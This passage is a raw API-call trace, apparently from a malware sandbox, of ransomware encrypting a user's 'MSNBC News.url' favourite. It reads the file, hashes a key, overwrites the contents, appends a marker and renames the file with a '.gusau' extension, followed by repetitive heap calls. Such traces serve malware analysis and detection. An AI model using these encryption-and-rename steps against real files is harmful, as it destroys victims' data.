cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0118.272] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.273] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0118.273] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.273] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned=".url" [0118.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.274] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.274] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.276] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.276] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.277] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.277] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.277] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.277] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.277] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.277] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.278] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.278] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.278] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.278] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.278] GetLastError () returned 0x0 [0118.278] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.278] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.278] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.278] WriteFile (in: hFile=0x610, lpBuffer=0x3883e18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x3883e18*, lpNumberOfBytesWritten=0x405fb24*=0x80, lpOverlapped=0x0) returned 1 [0118.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.278] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.279] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.279] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.279] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.279] CloseHandle (hObject=0x610) returned 1 [0118.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f5430 [0118.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.280] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.gusau")) returned 1 [0118.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.280] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0118.281] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0118.281] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941658 | out: hHeap=0xd10000) returned 1 [0118.281] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941658 [0118.281] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.287] HeapFree (in: hHeap=0xd10000, 